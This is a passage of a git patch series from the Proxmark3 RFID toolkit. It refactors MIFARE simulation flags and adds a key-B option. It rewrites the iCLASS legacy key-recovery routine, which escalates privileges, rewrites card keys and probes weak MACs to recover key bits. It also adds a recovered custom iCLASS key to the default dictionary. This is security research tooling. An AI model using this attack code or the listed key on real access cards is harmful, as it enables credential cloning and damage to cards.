FLAG_SET_MF_SIZE(flags, MIFARE_MINI_MAX_BYTES); snprintf(csize, sizeof(csize), "MINI"); k_sectors_cnt = MIFARE_MINI_MAXSECTOR; } else if (m1) { - flags |= FLAG_MF_1K; + FLAG_SET_MF_SIZE(flags, MIFARE_1K_MAX_BYTES); snprintf(csize, sizeof(csize), "1K"); k_sectors_cnt = MIFARE_1K_MAXSECTOR; } else if (m2) { - flags |= FLAG_MF_2K; + FLAG_SET_MF_SIZE(flags, MIFARE_2K_MAX_BYTES); snprintf(csize, sizeof(csize), "2K with RATS"); k_sectors_cnt = MIFARE_2K_MAXSECTOR; } else if (m4) { - flags |= FLAG_MF_4K; + FLAG_SET_MF_SIZE(flags, MIFARE_4K_MAX_BYTES); snprintf(csize, sizeof(csize), "4K"); k_sectors_cnt = MIFARE_4K_MAXSECTOR; } else { @@ -4262,9 +4247,8 @@ static int CmdHF14AMfSim(const char *Cmd) { , (uidlen == 0) ? "n/a" : sprint_hex(uid, uidlen) ); - PrintAndLogEx(INFO, "Options [ numreads: %d, flags: %d (0x%02x) ]" + PrintAndLogEx(INFO, "Options [ numreads: %d, flags: 0x%04x ]" , exitAfterNReads - , flags , flags); struct { diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index e3eb64978..1213e7d4d 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -766,21 +766,72 @@ typedef struct { #define CMD_UNKNOWN 0xFFFF //Mifare simulation flags -#define FLAG_INTERACTIVE 0x01 -#define FLAG_4B_UID_IN_DATA 0x02 -#define FLAG_7B_UID_IN_DATA 0x04 -#define FLAG_10B_UID_IN_DATA 0x08 -#define FLAG_UID_IN_EMUL 0x10 -#define FLAG_NR_AR_ATTACK 0x20 -#define FLAG_MF_MINI 0x80 -#define FLAG_MF_1K 0x100 -#define FLAG_MF_2K 0x200 -#define FLAG_MF_4K 0x400 -#define FLAG_FORCED_ATQA 0x800 -#define FLAG_FORCED_SAK 0x1000 -#define FLAG_CVE21_0430 0x2000 -#define FLAG_RATS_IN_DATA 0x4000 -#define FLAG_NESTED_AUTH_ATTACK 0x8000 +// In interactive mode, we are expected to finish the operation with an ACK +#define FLAG_INTERACTIVE 0x0001 +#define FLAG_ATQA_IN_DATA 0x0002 +#define FLAG_SAK_IN_DATA 0x0004 +#define FLAG_RATS_IN_DATA 0x0008 + +// internal constants, use the function macros instead +#define FLAG_MASK_UID 0x0030 +#define FLAG_UID_IN_EMUL 0x0000 +#define FLAG_4B_UID_IN_DATA 0x0010 +#define FLAG_7B_UID_IN_DATA 0x0020 +#define FLAG_10B_UID_IN_DATA 0x0030 +// if there is a UID in the data-section to be used: +// note: if UIDLEN is wrong, we default to FLAG_UID_IN_EMUL +#define FLAG_SET_UID_IN_DATA(flags, len) {\ + flags = (flags & (~FLAG_MASK_UID))|\ + (len == 4 ? FLAG_4B_UID_IN_DATA : \ + (len == 7 ? FLAG_7B_UID_IN_DATA : \ + (len == 10 ? FLAG_10B_UID_IN_DATA : \ + FLAG_UID_IN_EMUL)));\ + } +// else we tell to take UID from block 0: +#define FLAG_SET_UID_IN_EMUL(flags) {flags = (flags & (~FLAG_MASK_UID))|FLAG_UID_IN_EMUL;} +#define IS_FLAG_UID_IN_DATA(flags, len) (\ + (flags & FLAG_MASK_UID) == \ + (len == 4 ? FLAG_4B_UID_IN_DATA : \ + (len == 7 ? FLAG_7B_UID_IN_DATA : \ + (len == 10 ? FLAG_10B_UID_IN_DATA : \ + FLAG_UID_IN_EMUL)))\ + ) +#define IS_FLAG_UID_IN_EMUL(flags) ((flags & FLAG_MASK_UID) == FLAG_UID_IN_EMUL) + +// internal constants, use the function macros instead +#define MIFARE_4K_MAX_BYTES 4096 +#define MIFARE_2K_MAX_BYTES 2048 +#define MIFARE_1K_MAX_BYTES 1024 +#define MIFARE_MINI_MAX_BYTES 320 +#define FLAG_MASK_MF_SIZE 0x00C0 +#define FLAG_MF_MINI 0x0000 +#define FLAG_MF_1K 0x0040 +#define FLAG_MF_2K 0x0080 +#define FLAG_MF_4K 0x00C0 +#define FLAG_SET_MF_SIZE(flags, size) {\ + flags = (flags & (~FLAG_MASK_MF_SIZE))|\ + (size == MIFARE_MINI_MAX_BYTES ? FLAG_MF_MINI : \ + (size == MIFARE_1K_MAX_BYTES ? FLAG_MF_1K : \ + (size == MIFARE_2K_MAX_BYTES ? FLAG_MF_2K : \ + (size == MIFARE_4K_MAX_BYTES ? FLAG_MF_4K : \ + 0))));\ + } +// else we tell to take UID from block 0: +#define IS_FLAG_MF_SIZE(flags, size) (\ + (flags & FLAG_MASK_MF_SIZE) == \ + (size == MIFARE_MINI_MAX_BYTES ? FLAG_MF_MINI : \ + (size == MIFARE_1K_MAX_BYTES ? FLAG_MF_1K : \ + (size == MIFARE_2K_MAX_BYTES ? FLAG_MF_2K : \ + (size == MIFARE_4K_MAX_BYTES ? FLAG_MF_4K : \ + 0))))\ + ) + +#define FLAG_MF_USE_READ_KEYB 0x0100 +#define FLAG_CVE21_0430 0x0200 +// collect NR_AR responses for bruteforcing later +#define FLAG_NR_AR_ATTACK 0x0400 +// support nested authentication attack +#define FLAG_NESTED_AUTH_ATTACK 0x0800 #define MODE_SIM_CSN 0 From 41a43bc85cf87076109344ebec0e06a7c67f9e7c Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 19 Oct 2024 20:16:02 +0200 Subject: [PATCH 002/155] hf mf sim: add option to allow key b to be used even if readable --- CHANGELOG.md | 1 + armsrc/mifaresim.c | 16 +++++++++------- client/src/cmdhfmf.c | 14 ++++++++++---- 3 files changed, 20 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8a40af5cc..447280308 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox) - Changed `data num` - outputed binary strings are now properly zero padded (@iceman1001) - Changed `hf iclass info` - now tries default keys and decode if legacy (@iceman1001) - Changed `hf iclass chk` - now loads dictionary file by default (@iceman1001) diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index 0d9f99287..a10956d61 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -900,14 +900,16 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t // Compliance of MIFARE Classic EV1 1K Datasheet footnote of Table 8 // If access bits show that key B is Readable, any subsequent memory access will be refused. + // Some cards don't respect it so we can also skip it with FLAG_MF_USE_READ_KEYB + if ((flags & FLAG_MF_USE_READ_KEYB) != FLAG_MF_USE_READ_KEYB) { + if (cardAUTHKEY == AUTHKEYB && IsKeyBReadable(blockNo)) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); - if (cardAUTHKEY == AUTHKEYB && IsKeyBReadable(blockNo)) { - EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); - FpgaDisableTracing(); - - if (g_dbglevel >= DBG_ERROR) - Dbprintf("[MFEMUL_WORK] Access denied: Reader tried to access memory on authentication with key B while key B is readable in sector (0x%02x)", cardAUTHSC); - break; + if (g_dbglevel >= DBG_ERROR) + Dbprintf("[MFEMUL_WORK] Access denied: Reader tried to access memory on authentication with key B while key B is readable in sector (0x%02x)", cardAUTHSC); + break; + } } } diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index b275b847f..d252cdac3 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -4117,8 +4117,10 @@ static int CmdHF14AMfSim(const char *Cmd) { arg_lit0("x", NULL, "Performs the 'reader attack', nr/ar attack against a reader."), arg_lit0("y", NULL, "Performs the nested 'reader attack'. This requires preloading nt & nt_enc in emulator memory. Implies -x."), arg_lit0("e", "emukeys", "Fill simulator keys from found keys. Requires -x or -y. Implies -i. Simulation will restart automatically."), - arg_lit0("v", "verbose", "verbose output"), - arg_lit0(NULL, "cve", "trigger CVE 2021_0430"), + // If access bits show that key B is Readable, any subsequent memory access should be refused. + arg_lit0(NULL, "allowkeyb", "Allow key B even if readable"), + arg_lit0("v", "verbose", "Verbose output"), + arg_lit0(NULL, "cve", "Trigger CVE 2021_0430"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -4170,9 +4172,13 @@ static int CmdHF14AMfSim(const char *Cmd) { bool setEmulatorMem = arg_get_lit(ctx, 12); - bool verbose = arg_get_lit(ctx, 13); + if (arg_get_lit(ctx, 13)) { + flags |= FLAG_MF_USE_READ_KEYB; + } - if (arg_get_lit(ctx, 14)) { + bool verbose = arg_get_lit(ctx, 14); + + if (arg_get_lit(ctx, 15)) { flags |= FLAG_CVE21_0430; } CLIParserFree(ctx); From d6f8f9db4afa90f48b647a5fb851ddc10e9dbcaf Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sun, 20 Oct 2024 11:16:46 +0800 Subject: [PATCH 003/155] Updated hf iclass legrec arm side and added custom key to dictionary Updated hf iclass legrec arm functionality Added new custom standard key to the repository Todo: Improve keygen algorithm efficiency --- armsrc/iclass.c | 355 ++++++++++++-------- armsrc/iclass.h | 1 - client/dictionaries/iclass_default_keys.dic | 2 + 3 files changed, 213 insertions(+), 145 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 00f9abe1c..d3b31ece3 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2176,77 +2176,20 @@ void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t ind void iClass_Recover(iclass_recover_req_t *msg) { bool shallow_mod = false; - - LED_A_ON(); - Dbprintf(_RED_("Interrupting this process will render the card unusable!")); - - Iso15693InitReader(); - //Authenticate with AA2 with the standard key to get the AA2 mac - //Step0 Card Select Routine - - uint32_t eof_time = 0; - picopass_hdr_t hdr = {0}; - - bool res = select_iclass_tag(&hdr, msg->req2.use_credit_key, &eof_time, shallow_mod); - //bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod); - if (res == false) { - Dbprintf(_RED_("Unable to select card! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("Card selected successfully!")); - } - - //Step1 Authenticate with AA2 using K2 - - uint8_t mac2[4] = {0}; - uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2); - if (res == false) { - Dbprintf(_RED_("Unable to authenticate with AA2 using K2! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("AA2 authentication with K2 successful!")); - } - + uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t genkeyblock[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint32_t index = msg->index; + int bits_found = -1; + bool recovered = false; + bool completed = false; uint8_t div_key2[8] = {0}; - memcpy(div_key2, hdr.key_c, 8); + uint32_t eof_time = 0; + uint32_t start_time = 0; + uint8_t read_check_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 + read_check_cc[0] = 0x10 | ICLASS_CMD_READCHECK; //use credit key + uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs - //cycle reader to reset cypher state and be able to authenticate with k1 trace - switch_off(); - Iso15693InitReader(); - DbpString(_YELLOW_("Cycled Reader...")); - - //Step0 Card Select Routine - - eof_time = 0; - //hdr = {0}; - res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); - if (res == false) { - Dbprintf(_RED_("Unable to select card after reader cycle! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("Card selected successfully!")); - } - - //Step1 Authenticate with AA1 using trace - - uint8_t mac1[4] = {0}; - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); - if (res == false) { - Dbprintf(_RED_("Unable to authenticate on AA1 using macs! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("Authenticated with AA1 with macs!")); - } - - //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 - uint8_t blockno = 24; - uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00}; - AddCrc(cmd_read + 1, 1); - uint8_t resp[10]; - DbpString(_YELLOW_("Attempting privilege escalation...")); - res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod); + /* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. */ static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table { 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000 @@ -2258,107 +2201,227 @@ void iClass_Recover(iclass_recover_req_t *msg) { { 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110 { 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111 }; - //Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number - static uint32_t iclass_mac_table_bit_values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215}; - /* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. - If we concatenate the last three bits of each key byte, we have a 24 bits long binary string. - If we convert that string to decimal we obtain the decimal numbers in iclass_mac_table_bit_values - Xorring the index of iterations against those decimal numbers allows us to retrieve the what was the corresponding sequence of bits of the original key in decimal format. */ - - uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - uint32_t index = 1; - int bits_found = -1; + LED_A_ON(); + DbpString(_RED_("Interrupting this process will render the card unusable!")); + memcpy(div_key2, msg->nfa, 8); //START LOOP + uint32_t loops = 1; + while (bits_found == -1) { + bool card_select = false; + bool card_auth = false; + int reinit_tentatives = 0; + uint8_t original_mac[8] = {0}; + uint16_t resp_len = 0; + int res2; + uint8_t resp[10] = {0}; + uint8_t mac1[4] = {0}; + uint8_t mac2[4] = {0}; + picopass_hdr_t hdr = {0}; + bool res = false; - //Step3 Calculate New Key - uint8_t genkeyblock[PICOPASS_BLOCK_SIZE]; - uint8_t genkeyblock_old[PICOPASS_BLOCK_SIZE]; - uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE]; - generate_single_key_block_inverted(zero_key, index, genkeyblock); - - //NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED - //xor the new key against the previously generated key so that we only update the difference - if (index != 0) { - generate_single_key_block_inverted(zero_key, index - 1, genkeyblock_old); - for (int i = 0; i < 8 ; i++) { - xorkeyblock[i] = genkeyblock[i] ^ genkeyblock_old[i]; + while(!card_select || !card_auth){ + Iso15693InitReader(); //has to be at the top as it starts tracing + if(!msg->debug){ + set_tracing(false); //disable tracing to prevent crashes - set to true for debugging + }else{ + if (loops == 1){ + clear_trace(); //if we're debugging better to clear the trace but do it only on the first loop + } } - } else { - memcpy(xorkeyblock, genkeyblock, PICOPASS_BLOCK_SIZE); + if(msg->test){ + Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- TEST Index - Loops: "_YELLOW_("%3d / %3d") " --------------*",loops,msg->loop); + }else{ + Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- Index: "_RED_("%3d")" Loops: "_YELLOW_("%3d / %3d") " --------------*",index,loops,msg->loop); + } + //Step0 Card Select Routine + eof_time = 0; //reset eof time + res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); + if (res == false) { + DbpString(_RED_("Unable to select card after reader cycle! Retrying...")); + } else { + DbpString(_GREEN_("Card selected successfully!")); + card_select = true; + } + + //Step1 Authenticate with AA1 using trace + if(card_select){ + memcpy(original_mac, msg->req.key, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == false) { + DbpString(_RED_("Unable to authenticate on AA1 using macs! Retrying...")); + }else { + DbpString(_GREEN_("AA1 authentication with macs successful!")); + card_auth = true; + } + } + if(!card_auth || !card_select){ + reinit_tentatives++; + switch_off(); + } + if(reinit_tentatives == 5){ + DbpString(_RED_("Unable to select or authenticate with card multiple times! Stopping.")); + goto out; + } + } + + //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 + uint8_t blockno = 24; + uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00}; + AddCrc(cmd_read + 1, 1); + int priv_esc_tries = 0; + bool priv_esc = false; + while(!priv_esc){ + //The privilege escalation is done with a readcheck and not just a normal read! + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + // expect a 8-byte response here + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); + if (res2 != PM3_SUCCESS || resp_len != 8){ + DbpString(_YELLOW_("Privilege Escalation -> ")_RED_("Read failed! Trying again...")); + priv_esc_tries++; + }else{ + DbpString(_YELLOW_("Privilege Escalation -> ")_GREEN_("Response OK!")); + priv_esc = true; + } + if(priv_esc_tries == 5){ + DbpString(_RED_("Unable to complete privilege escalation! Stopping.")); + goto out; + } + } + + generate_single_key_block_inverted(zero_key, index, genkeyblock); + if(msg->test){ + memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE); } //Step4 Calculate New Mac - bool use_mac = true; uint8_t wb[9] = {0}; blockno = 3; wb[0] = blockno; - memcpy(wb + 1, xorkeyblock, 8); + memcpy(wb + 1, genkeyblock, 8); doMAC_N(wb, sizeof(wb), div_key2, mac2); - - //Step5 Perform Write - - DbpString("Generated XOR Key: "); - Dbhexdump(8, xorkeyblock, false); - - if (iclass_writeblock_ext(blockno, xorkeyblock, mac2, use_mac, shallow_mod)) { - Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno); - } else { - Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno); - if (index > 1) { - Dbprintf(_RED_("Card is likely to be unusable!")); + bool use_mac = true; + bool written = false; + bool write_error = false; + while(written == false && write_error == false){ + //Step5 Perform Write + if (iclass_writeblock_ext(blockno, genkeyblock, mac2, use_mac, shallow_mod)) { + DbpString("Wrote key: "); + Dbhexdump(8, genkeyblock, false); } + //Reset cypher state + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); + //try to authenticate with the original mac to verify the write happened + memcpy(msg->req.key, original_mac, 8); + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if(msg->test){ + if (res != true) { + DbpString(_RED_("*** CARD EPURSE IS SILENT! RISK OF BRICKING! DO NOT EXECUTE KEY UPDATES! SCAN IT ON READER FOR EPURSE UPDATE, COLLECT NEW TRACES AND TRY AGAIN! ***")); + goto out; + }else{ + DbpString(_GREEN_("*** CARD EPURSE IS LOUD! OK TO ATTEMPT KEY RETRIEVAL! RUN AGAIN WITH -notest ***")); + completed = true; + goto out; + } + }else{ + if (res != true) { + DbpString("Write Operation : "_GREEN_("VERIFIED! Card Key Updated!")); + written = true; + }else{ + DbpString("Write Operation : "_RED_("FAILED! Card Key is the Original. Retrying...")); + write_error = true; + } + } + } + + if(!write_error){ + //Step6 Perform 8 authentication attempts + 1 to verify if we found the weak key + for (int i = 0; i < 8 ; ++i) { + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); + //need to craft the authentication payload accordingly + memcpy(msg->req.key, iclass_mac_table[i], 8); + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter + if (res == true) { + bits_found = i; + DbpString(_RED_("--------------------------------------------------------")); + Dbprintf("Decimal Value of last 3 bits: " _GREEN_("[%3d]"), bits_found); + DbpString(_RED_("--------------------------------------------------------")); + recovered = true; + } + } + + //regardless of bits being found, restore the original key and verify it + bool reverted = false; + uint8_t revert_retries = 0; + while(!reverted){ + //Regain privilege escalation with a readcheck + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); + + DbpString(_YELLOW_("Attempting to restore the original key. ")); + if (iclass_writeblock_ext(blockno, genkeyblock, mac2, use_mac, shallow_mod)) { + DbpString("Restore of Original Key "_GREEN_("successful.")); + } else { + DbpString("Restore of Original Key " _RED_("failed.")); + } + DbpString(_YELLOW_("Verifying Key Restore...")); + //Do a readcheck first to reset the cypher state + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); + + //need to craft the authentication payload accordingly + memcpy(msg->req.key, original_mac, 8); + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == true) { + DbpString("Restore of Original Key "_GREEN_("VERIFIED! Card is usable again.")); + reverted = true; + if (recovered){ + goto restore; + } + }else{ + DbpString("Restore of Original Key "_RED_("VERIFICATION FAILED! Trying again...")); + } + + revert_retries++; + if(revert_retries >= 7){ //must always be an odd number! + Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); + goto out; + } + } + + } + + if(loops >= msg->loop){ + completed = true; goto out; } - //Step6 Perform 8 authentication attempts - - for (int i = 0; i < 8 ; ++i) { - //need to craft the authentication payload accordingly - memcpy(msg->req.key, iclass_mac_table[i], 8); - res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter - if (res == true) { - bits_found = iclass_mac_table_bit_values[i] ^ index; - Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index); - Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iclass_mac_table_bit_values[i]); - Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found); - goto restore; - } + if(!write_error){ //if there was a write error, re-run the loop for the same key index + loops++; + index++; } - index++; + }//end while restore: ;//empty statement for compilation - uint8_t partialkey[PICOPASS_BLOCK_SIZE]; - convertToHexArray(bits_found, partialkey); + uint8_t partialkey[PICOPASS_BLOCK_SIZE] = {0}; - uint8_t resetkey[PICOPASS_BLOCK_SIZE]; - convertToHexArray(index, resetkey); - - //Calculate reset Mac - - bool use_mac = true; - uint8_t wb[9] = {0}; - blockno = 3; - wb[0] = blockno; - memcpy(wb + 1, resetkey, 8); - doMAC_N(wb, sizeof(wb), div_key2, mac2); - - //Write back the card to the original key - DbpString(_YELLOW_("Restoring Card to the original key using Reset Key: ")); - Dbhexdump(8, resetkey, false); - if (iclass_writeblock_ext(blockno, resetkey, mac2, use_mac, shallow_mod)) { - Dbprintf("Restore of Original Key "_GREEN_("successful. Card is usable again.")); - } else { - Dbprintf("Restore of Original Key " _RED_("failed. Card is likely unusable.")); + for(int i = 0; i < PICOPASS_BLOCK_SIZE; i++){ + partialkey[i] = genkeyblock[i] ^ bits_found; } + //Print the 24 bits found from k1 - DbpString(_YELLOW_("Raw Key Partial Bytes: ")); + DbpString(_RED_("--------------------------------------------------------")); + DbpString(_RED_("SUCCESS! Raw Key Partial Bytes: ")); Dbhexdump(8, partialkey, false); + DbpString(_RED_("--------------------------------------------------------")); switch_off(); reply_ng(CMD_HF_ICLASS_RECOVER, PM3_SUCCESS, NULL, 0); @@ -2366,6 +2429,10 @@ restore: out: switch_off(); - reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0); + if(completed){ + reply_ng(CMD_HF_ICLASS_RECOVER, PM3_EINVARG, NULL, 0); + }else{ + reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0); + } } diff --git a/armsrc/iclass.h b/armsrc/iclass.h index 1480ef56c..2185fd794 100644 --- a/armsrc/iclass.h +++ b/armsrc/iclass.h @@ -71,6 +71,5 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui uint8_t get_pagemap(const picopass_hdr_t *hdr); void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod); -void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock); void iClass_Recover(iclass_recover_req_t *msg); #endif diff --git a/client/dictionaries/iclass_default_keys.dic b/client/dictionaries/iclass_default_keys.dic index c717cd88f..d1d76d2b1 100644 --- a/client/dictionaries/iclass_default_keys.dic +++ b/client/dictionaries/iclass_default_keys.dic @@ -39,3 +39,5 @@ C1B74D7478053AE2 # # default iCLASS RFIDeas 6B65797374726B72 +# Retrieved from Custom Keyed Systems +E9924C13F4BFA82C From 88364f6a4857830a5f6b5e33fb2299ba412ede8d Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sun, 20 Oct 2024 11:18:50 +0800 Subject: [PATCH 004/155] Update iclass.c Signed-off-by: Antiklesys --- armsrc/iclass.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index d3b31ece3..2701eec0c 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2157,7 +2157,7 @@ out: } } -void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { +static void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { uint32_t carry = index; memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); From 53dfcc2569fd6f640d860a17c779370e84171452 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sun, 20 Oct 2024 11:23:12 +0800 Subject: [PATCH 005/155] Update CHANGELOG.md --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 447280308..9115986cf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `hf iclass legrec` - updated script implementation to ensure functionality (@antiklesys) +- Added recovered iclass custom key to dictionary - Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox) - Changed `data num` - outputed binary strings are now properly zero padded (@iceman1001) - Changed `hf iclass info` - now tries default keys and decode if legacy (@iceman1001) From 3c3041cdee1bb6eeb6634deba71cd9688a22fcbc Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sun, 20 Oct 2024 11:25:34 +0800 Subject: [PATCH 006/155] Update CHANGELOG.md Signed-off-by: Antiklesys --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9115986cf..333154a4d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,7 +4,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac ## [unreleased][unreleased] - Changed `hf iclass legrec` - updated script implementation to ensure functionality (@antiklesys) -- Added recovered iclass custom key to dictionary +- Added recovered iclass custom key to dictionary (@antiklesys) - Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox) - Changed `data num` - outputed binary strings are now properly zero padded (@iceman1001) - Changed `hf iclass info` - now tries default keys and decode if legacy (@iceman1001) From 4f85def6b07ad9cefe78d9bd11b18f14fad5dcb7 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Sun, 20 Oct 2024 12:33:25 +0800 Subject: [PATCH 007/155] Check for silicon version in iclass info Updated hf iclass info to check whether the card's chipset is old silicon (supporting 14b) or new silicon (without the 14b support) --- CHANGELOG.md | 1 + client/src/cmdhf14b.c | 11 +++++++---- client/src/cmdhf14b.h | 2 ++ client/src/cmdhficlass.c | 6 ++++++ 4 files changed, 16 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 333154a4d..b0795fc0e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `hf iclass info` - now checks for cards silicon version (@antiklesys) - Changed `hf iclass legrec` - updated script implementation to ensure functionality (@antiklesys) - Added recovered iclass custom key to dictionary (@antiklesys) - Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox) diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 43eeff9fc..3b2cce3bc 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -1411,7 +1411,7 @@ static bool 